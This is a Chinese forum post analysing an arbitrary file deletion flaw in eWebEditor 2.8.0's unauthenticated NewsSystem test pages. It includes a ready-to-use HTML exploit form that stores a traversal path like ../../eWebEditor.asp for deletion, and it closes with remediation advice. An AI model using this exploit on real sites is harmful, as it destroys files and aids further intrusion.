Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码: <br />' 把带"|"的字符串转为数组 <br />Dim aSavePathFileName <br />aSavePathFileName = Split(sSavePathFileName, "|") <br />' 删除新闻相关的文件,从文件夹中 <br />Dim i <br />For i = 0 To UBound(aSavePathFileName) <br />' 按路径文件名删除文件 <br />Call DoDelFile(aSavePathFileName(i)) <br />Next <br />而aSavePathFileName是前面从数据库取出来的: <br />sSavePathFileName = oRs("D_SavePathFileName") <br />看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里: <br />sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename")) <br />... <br />oRs("D_SavePathFileName") = sSavePathFileName <br />居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里: <br />Function GetSafeStr(str) <br />GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "") <br />End Function <br />无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了! <br />下面给出利用的htm: <br /><HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE> <br /><style>body,p,td,input {font-size:9pt}</style> <br /></HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a> <br /><b>增加新闻</b> <br /><form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" <br />method="post" name="myform"> <br /><input type=hidden name=d_originalfilename> <br /><input type=hidden name=d_savefilename> <br /><table cellspacing=3 align=center> <br /><tr><td>要删的文件(相对路径就可以了):</td> <br /><td><input type="text" name="d_savepathfilename" value="" size="90"></td> <br /></tr> <br /><tr><td>新闻标题(随便填):</td> <br /><td><input type="text" name="d_title" value="" size="90"></td> <br /></tr> <br /><tr><td>标题图片:</td> <br /><td><select name="d_picture" size=1><option value=''>无</option></select> <br />当编辑区有插入图片时,将自动填充此下拉框</td> <br /></tr> <br /><tr><td>新闻内容(随便填):</td> <br /><td><textarea name="d_content"></textarea></td> <br /></tr> <br /></table> <br /><input type=submit name=btnSubmit value=" 提 交 "> <br /><input type=reset name=btnReset value=" 重 填 "> <br /></form> <br /></BODY></HTML> <br />删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历! <br /><br />解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
頁:
[1]